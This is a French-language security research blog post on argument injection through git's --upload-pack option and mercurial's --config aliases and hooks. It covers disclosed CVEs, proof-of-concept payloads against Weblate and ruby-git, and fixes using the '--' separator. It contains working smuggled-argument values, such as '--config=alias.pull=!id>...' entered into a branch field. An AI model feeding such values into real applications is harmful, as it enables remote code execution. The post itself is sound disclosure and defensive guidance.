Skip to main content

Redécouvrir l’injection d’arguments avec les outils VCS — git et mercurial

Écrit par
Headshot of Alessio Della Libera

Alessio Della Libera

feature argument injection

23 août 2022

0 minutes de lecture

L’un des principaux objectifs de cette recherche était d’examiner comment exécuter des commandes arbitraires même avec une API sécurisée qui empêche l’injection de commandes. Nous nous intéressons aux outils de gestion de versions (VCS), comme git et hg (mercurial), qui permettent, parmi d’autres options, d’exécuter des commandes arbitraires dans certaines circonstances.

Cette recherche porte sur les applications web et les bibliothèques (écrites dans n’importe quel langage de programmation) qui appellent ces commandes à l’aide d’une API sécurisée. Nous n’avons pas ciblé les projets CLI ni les projets qui appellent ces commandes en utilisant des données issues de sources stockées, comme des fichiers de configuration.

Dans cet article, nous présentons des scénarios courants où, même avec une API sécurisée, l’injection d’options d’argument peut permettre d’exécuter des commandes arbitraires. Nous proposons également des exemples de mesures correctives et des recommandations à l’intention des responsables de projets open source.

Contexte de l’injection d’arguments

Considérons le scénario suivant : un développeur souhaite appeler les commandes git ou hg depuis le répertoire de son projet afin d’interagir avec des dépôts. Toutefois, des valeurs contrôlées par l’utilisateur sont utilisées comme paramètres de ces commandes (l’utilisateur peut ainsi spécifier l’URL du dépôt, le nom de la branche, etc.). Conscient du risque d’injection de commandes, le développeur décide d’utiliser une API sécurisée pour exécuter les commandes shell. Par exemple, si le projet est en Node.js, l’API spawn du module child_process empêche l’injection de commandes lorsqu’elle est appelée de la manière suivante :

spawn([“command”, “-option1”, user_input, user_input’)

Mais ce n’est pas toujours le cas. Comme nous allons le voir, cela dépend aussi de la commande appelée par ces API. Pour en savoir plus sur l’injection d’arguments, cet article de Staaldraad est une excellente ressource.

Pourquoi faut-il se préoccuper de git ?

Certaines sous-commandes git proposent des options permettant à l’utilisateur de spécifier les programmes ou commandes à exécuter. C’est notamment le cas de l’option --upload-pack, disponible pour les sous-commandes git suivantes :

Prenons par exemple les sous-commandes git fetch, ls-remote et pull, qui prennent en charge l’option --upload-pack.

Selon la commande, certains arguments sont obligatoires et peuvent être suivis d’arguments facultatifs. Par exemple, git fetch nécessite au moins un argument, c’est-à-dire un dépôt, suivi de refspec et d’un ensemble d’options.

L’exécution des commandes suivantes dans un terminal lancera la commande shell touch HELLO :

git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

À quoi ressemble du code vulnérable avec « git » ?

Pour illustrer cette vulnérabilité, j’utiliserai JavaScript et Python. Pour simplifier les exemples, supposons que les valeurs url et branch sont contrôlées par l’utilisateur et ne sont pas correctement assainies.

L’exemple suivant montre qu’il est toujours possible d’exécuter du code arbitraire, même avec une API sécurisée qui protège contre les injections de commandes classiques :

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])

La dernière ligne montre qu’une charge utile d’injection de commandes classique (c’est-à-dire une charge utile contenant des caractères spéciaux comme ; & | , etc. pour enchaîner des commandes) ne fonctionne pas.

Python

import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)

Il est important de noter que les scénarios ci-dessus peuvent entraîner l’exécution de commandes si les arguments requis par les sous-commandes git correspondantes sont fournis. Par exemple, si un seul argument est fourni à la sous-commande git ls-remote sans aucun autre argument, les scénarios précédents ne fonctionneront pas :

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.

En effet, l’unique argument fourni sera interprété comme un dépôt (dans le cas de git ls-remote). Si la commande reçoit un autre argument valide, on retrouve le scénario précédent et il est toujours possible d’exécuter du code.

Mesures correctives

Une solution possible aux scénarios précédents consiste à ajouter -- avant les valeurs contrôlées par l’utilisateur. Comme l’explique la documentation officielle, « lorsque vous écrivez un script destiné à traiter des données saisies par des utilisateurs, il est recommandé de préciser les arguments en plaçant des séparateurs -- aux endroits appropriés. »

Par exemple, le code suivant ne permettra plus d’exécuter des commandes :

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked

Pourquoi faut-il se préoccuper de hg (mercurial) ?

Comme nous l’avons vu dans la section précédente, certaines conditions doivent être remplies pour exécuter des commandes arbitraires (arguments obligatoires). Toutefois, ce n’est pas le cas avec hg — l’exploitation est donc beaucoup plus facile.

Parmi les nombreuses options disponibles, mercurial permet aux utilisateurs de définir des aliases et des hooks pour chaque commande (clone, init, log, etc.) à l’aide de l’option –config.

Comme l’explique la documentation de mercurial, les alias « vous permettent de définir vos propres commandes à partir d’autres commandes (ou alias), avec la possibilité d’y inclure des arguments. Un alias peut commencer par un point d’exclamation (« ! ») pour devenir un alias shell. Il est alors exécuté par le shell, ce qui permet de lancer des commandes arbitraires, par exemple :

echo = !echo $@

vous permettra de saisir "hg echo foo" pour afficher "foo" dans votre terminal. »

Les hooks, quant à eux, sont des « commandes ou fonctions Python exécutées automatiquement par diverses actions, comme le début ou la fin d’un commit ». Ces commandes sont exécutées lorsque certaines conditions sont remplies, avant (pre-<command>) ou après (post-<command>) d’autres commandes mercurial.

À quoi ressemble du code vulnérable lors de l’utilisation de « hg init » ?

Voyons un exemple montrant comment exécuter des commandes arbitraires lorsque la commande hg init est appelée avec des entrées utilisateur non assainies.

Exemple d’alias

hg init -config=alias.init="!touch HELLO"

La commande touch HELLO sera exécutée. En effet, un alias de la commande init est défini et exécuté à la place de la commande hg init.

La même commande exécutée depuis du code se présente comme suit (comme précédemment, supposons que la valeur source est contrôlée par l’utilisateur et n’est pas correctement assainie) :

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])

Exemple de hooks

hg init -config=hooks.pre-init="touch HELLO"

La commande touch HELLO sera exécutée avant la commande init (c’est-à-dire grâce aux options pre-<command>).

La même commande exécutée depuis du code se présente comme suit :

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])

Contrairement au cas de git, il suffit de contrôler un seul argument fourni aux commandes mercurial pour exécuter des commandes arbitraires, même s’il s’agit du seul paramètre utilisé.

Mesures correctives

Une fois encore, nous pouvons résoudre ce problème en ajoutant les caractères -- avant les arguments contrôlés par l’utilisateur.

Par exemple, l’attaque suivante ne fonctionnera plus : elle créera un dossier de dépôt dont le nom correspond au contenu de la variable source :

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])

Résultats

Des problèmes similaires ont déjà été exploités par le passé. Parmi les exemples les plus connus, on trouve les attaques par exécution de code à distance contre CocoaPods Trunk et Phabricator.

Le tableau ci-dessous récapitule les problèmes que nous avons découverts et signalés dans le cadre de cette recherche :

Projet

Vulnérabilité

Avis/Réf.

CVE

ungit

RCE

CVE-2022-25766

mozilla/pontoon

RCE

N/A

GoCD Server

RCE

CVE-2022-29184

Weblate

RCE (x2)

CVE-2022-23915

simple-git

Injection de commandes

CVE-2022-24433

ruby-git

Injection de commandes

CVE-2022-25648

cocoapods-downloader

Injection de commandes

CVE-2022-24440

cocoapods-downloader

Injection de commandes

CVE-2022-21223

Masterminds/vcs

Injection de commandes

CVE-2022-21235

git-php

Injection de commandes

CVE-2022-25866

libvcs

Injection de commandes

CVE-2022-21187

workspace-tools

Injection de commandes

CVE-2022-25865

cookiecutter

Injection de commandes

CVE-2022-24065

hashicorp/go-getter

Injection de commandes

CVE-2022-26945

Après avoir découvert ces vulnérabilités, nous les avons signalées en privé aux responsables, conformément à notre politique de divulgation des vulnérabilités. Je tiens à remercier personnellement toutes les personnes que j’ai contactées pour leur temps et leur collaboration.

Dans les études de cas suivantes, nous expliquerons comment il a été possible de provoquer une exécution de code à distance et une injection de commandes dans ces projets populaires.

Étude de cas : exécution de code à distance dans Weblate

Weblate est un « outil de localisation web doté d’une intégration étroite avec le contrôle de versions ». Un utilisateur authentifié pouvait obtenir une exécution de code à distance par injection d’arguments.

Lors de l’ajout de composants de traduction et de l’utilisation de dépôts mercurial, l’entrée utilisateur branch est utilisée dans la commande hg pull sans assainissement approprié.

Le code concerné, qui appelle la commande hg pull avec des valeurs contrôlées par l’utilisateur, est le suivant :

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

Preuve de concept

Pour exécuter des commandes arbitraires, l’utilisateur doit créer un nouveau composant de traduction dans un projet de traduction, avec la valeur Branche du dépôt définie sur --config=alias.pull=!id>/app/cache/static/output_rce1.txt. Dans ce cas, la commande id sera exécutée et sa sortie redirigée vers une page accessible à l’adresse http://localhost:8888/static/output_rce1.txt.

1. Connectez-vous à l’application.

2. Ajoutez un projet de traduction, puis cliquez sur Enregistrer.

Formulaire de création d’un projet Weblate avec des champs pour le nom du projet, son identifiant URL, le site Web du projet et les consignes de traduction

3. Ajoutez un composant de traduction au projet créé, en saisissant la charge utile --config=alias.pull=!id>/app/cache/static/output_rce1.txt dans le champ Branche du dépôt, puis cliquez sur Continuer.

Formulaire de configuration du dépôt Weblate affichant le contrôle de version Mercurial, l’URL d’un dépôt source et un argument suspect dans la branche du dépôt avant de continuer

4. La sortie de la commande id sera accessible à l’adresse http://localhost:8888/static/output_rce1.txt.

Navigateur affichant le résultat de localhost, avec le texte mis en évidence indiquant uid, gid, groups et les privilèges root

Mesure corrective

Comme vous pouvez le constater, il a été possible d’obtenir une RCE même avec des dépôts git. Dans ce cas, l’entrée utilisateur non assainie repo était transmise à la commande git ls-remote.

Le responsable a rapidement corrigé les deux problèmes dans la version 4.11.1 (voir la publication Github). Les correctifs (cas mercurial et cas git) ajoutaient les caractères -- avant l’entrée utilisateur afin d’éviter qu’elle soit interprétée comme un argument.

Étude de cas : injection de commandes dans ruby-git

Ruby git est une « bibliothèque qui permet de créer, lire et manipuler des dépôts Git en encapsulant les appels système au binaire git ».

Lors de l’appel de la fonction fetch(remote = 'origin', opts = {}), le paramètre remote est transmis à la sous-commande git fetch sans assainissement. Comme nous l’avons vu précédemment, git fetch fait partie des sous-commandes git qui acceptent l’argument --upload-pack. Pour en savoir plus sur --upload-pack, consultez la documentation de git-fetch.

Le code concerné, qui appelle la commande git fetch avec des valeurs contrôlées par l’utilisateur, est le suivant :

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

Preuve de concept

La PoC suivante montre comment il a été possible d’exécuter des commandes arbitraires :

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

Mesure corrective

Le problème a été corrigé par les responsables de la maintenance dans la version 1.11.0 (version GitHub). Comme pour le problème précédent, le correctif a ajouté les caractères -- avant les valeurs contrôlées par l’utilisateur.

À retenir

… pour les développeurs

Lorsque vous appelez des commandes à l’aide d’une API sécurisée — qui empêche l’injection de commandes et accepte des valeurs contrôlées par l’utilisateur — il est important de veiller à ce que les valeurs fournies par l’utilisateur ne modifient pas le comportement de la commande en injectant ou en manipulant certaines options. Pour éviter toute confusion, les caractères -- peuvent servir à séparer les arguments des valeurs contrôlées par l’utilisateur.

… pour les responsables de la maintenance

Si une fonction ou une API encapsule des appels à des commandes qui acceptent des valeurs contrôlées par l’utilisateur, il peut être utile d’en documenter le comportement. Cela évitera de dérouter les utilisateurs qui constatent que la personne responsable de la maintenance traite certains problèmes de désinfection (par exemple, en empêchant l’injection de commandes à l’aide d’une API sécurisée), mais pas d’autres (par exemple, lorsque l’entrée peut être utilisée comme option dangereuse et entraîner un comportement inattendu).

… pour les chercheurs en sécurité

Nous nous sommes concentrés sur les commandes git et hg, mais bien d’autres fonctionnent de manière similaire. Il convient de noter que même l’utilisation d’API sécurisées qui empêchent l’injection de commandes peut entraîner des problèmes de sécurité. Tout dépend des commandes exécutées. Si vous découvrez des problèmes similaires (ou toute autre vulnérabilité de sécurité) dans un projet open source soutenu par notre programme, veuillez le signaler à l’aide du formulaire de signalement des vulnérabilités de Snyk.

Références :

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.